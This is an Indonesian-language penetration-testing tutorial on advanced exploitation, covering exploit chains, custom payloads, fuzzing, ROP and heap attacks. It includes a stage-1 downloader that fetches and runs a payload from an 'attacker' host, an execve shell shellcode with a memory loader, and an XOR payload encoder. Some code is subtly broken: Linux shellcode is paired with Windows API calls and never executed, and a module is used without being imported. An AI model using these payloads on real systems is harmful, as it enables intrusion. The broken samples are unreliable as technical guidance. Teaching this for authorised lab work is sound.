Belajar Penetration Tester - Advanced Exploitation

#Pendahuluan

Setelah di episode 20 kita menguasai security tools — Burp Suite, Nuclei, Nessus, dan automation pipeline — pada episode ini kita naik ke level yang lebih tinggi: advanced exploitation. Single vulnerability yang dieksploitasi secara langsung sudah tidak cukup — di environment modern, kalian perlu menggabungkan beberapa kerentanan menjadi attack chain yang komprehensif.

Chained exploitation adalah tentang memikirkan seperti adversary: "Apa yang bisa saya lakukan dengan kerentanan ini, dan bagaimana saya bisa menggabungkannya dengan kerentanan lain untuk mencapai objective?" Ini mindset yang membedakan pentester biasa dari pentester yang luar biasa.

#Chained Exploitation

#Konsep Chain

text

Exploit Chain Example
======================
1. SSRF → akses internal API
2. Internal API → dapatkan credentials
3. Credentials → lateral movement ke database server
4. Database server → exfiltrate data
 
Setiap step saja tidak cukup — tapi dikombinasikan → full compromise

#Contoh: SSRF → RCE Chain

text

Step 1: SSRF di fitur image fetch
  → Akses metadata service (169.254.169.254)
  → Dapatkan IAM credentials
 
Step 2: IAM credentials → S3 access
  → Enumerate S3 buckets
  → Temukan backup file dengan database dump
 
Step 3: Database dump → credentials
  → Crack password hash
  → Login ke database server
 
Step 4: Database server → RCE
  → MySQL UDF (User Defined Function) exploitation
  → Reverse shell sebagai root

#Multi-Stage Payload

python

# Stage 1: Initial foothold (small, stealthy)
# Download stage 2
import urllib.request
urllib.request.urlretrieve("http://attacker/stage2.exe", "/tmp/stage2.exe")
os.system("/tmp/stage2.exe")
 
# Stage 2: Post-exploitation (larger, more capable)
# Meterpreter, Cobalt Strike beacon, etc.

#Custom Payload Development

#Shellcode Development

python

# Simple Linux shellcode (execve /bin/sh)
# \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
 
# Test shellcode
import ctypes
import sys
 
shellcode = bytearray(
    b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
    b"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
    b"\x53\x89\xe1\xb0\x0b\xcd\x80"
)
 
# Allocate memory & execute
ptr = ctypes.windll.kernel32.VirtualAlloc(
    ctypes.c_int(0),
    ctypes.c_int(len(shellcode)),
    ctypes.c_int(0x3000),
    ctypes.c_int(0x40)
)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_void_p(ptr),
    shellcode,
    ctypes.c_int(len(shellcode))
)

#Custom Encoder

python

# Simple XOR encoder
def xor_encode(data, key):
    encoded = bytearray()
    for i, byte in enumerate(data):
        encoded.append(byte ^ key[i % len(key)])
    return encoded
 
# Decoder stub (ASM)
decoder = """
    xor ecx, ecx
loop:
    xor byte [esi + ecx], KEY
    inc ecx
    cmp cl, LEN
    jne loop
"""

Note

Custom payload development membutuhkan pemahaman assembly, memory management, dan OS internals. Mulai dari shellcode sederhana (Linux x86 execve) sebelum mencoba Windows shellcode atau encoded payloads.

#Zero-Day Mindset

#Crash Analysis

text

Zero-Day Discovery Workflow
============================
1. Fuzzing → crash reproduction
2. Root cause analysis → understand the bug
3. Exploitability assessment → can we control EIP?
4. Exploit development → reliable exploitation
5. Patch development → report to vendor

#Fuzzing Techniques

bash

# Binary fuzzing dengan boofuzz (Python)
from boofuzz import *
 
session = Session(target=Target(connection=TCPSocketConnection("target", 9999)))
 
s_initialize("user_req")
s_string("USER", name="command")
s_delim(" ", fuzzable=True)
s_string("A" * 100, name="username")  # Fuzz this field
 
session.connect(s_get("user_req"))
session.fuzz()

#Vulnerability Classes

Class	Contoh	Exploitation
Heap overflow	CVE-2024-XXXX	Heap spray → code execution
Use-after-free	CVE-2023-XXXX	Object reallocation → type confusion
Integer overflow	CVE-2022-XXXX	Buffer size miscalculation
Format string	CVE-2021-XXXX	Read/write arbitrary memory

#Advanced Techniques

#Return-Oriented Programming (ROP)

ROP mengeksploitasi gadget (snippet kode) yang sudah ada di binary untuk membangun executable chain tanpa inject kode baru:

python

# ROP chain concept
rop_chain = [
    pop_rdi,        # Pop gadget address ke RDI
    bin_sh_addr,    # Address string "/bin/sh"
    system_addr     # Address function system()
]

#Heap Exploitation

text

Heap Exploitation Steps
========================
1. Heap spray: isi heap dengan controlled data
2. Heap overflow: menimpa metadata
3. Use-after-free: manipulasi freed chunks
4. Tcache poisoning: control malloc allocation

#Praktik: Advanced Lab

bash

# 1. Cari machine di HackTheBox dengan multi-stage exploitation
# 2. Identifikasi semua kerentanan
# 3. Buat attack chain (minimum 3 steps)
# 4. Implementasi chain secara manual
# 5. Dokumentasikan setiap step

#Penutup

Inti yang harus dibawa pulang:

Chained exploitation: menggabungkan multiple vulnerabilities untuk mencapai objective yang lebih besar.
Custom payloads: shellcode development, encoding, dan multi-stage payloads.
Zero-day mindset: fuzzing, crash analysis, root cause analysis, exploitability assessment.
Advanced techniques: ROP, heap exploitation, format string attacks.

Di episode 22 selanjutnya, kita akan mempelajari AI-assisted pentesting — bagaimana AI membantu reconnaissance, vulnerability discovery, dan LLM-assisted testing.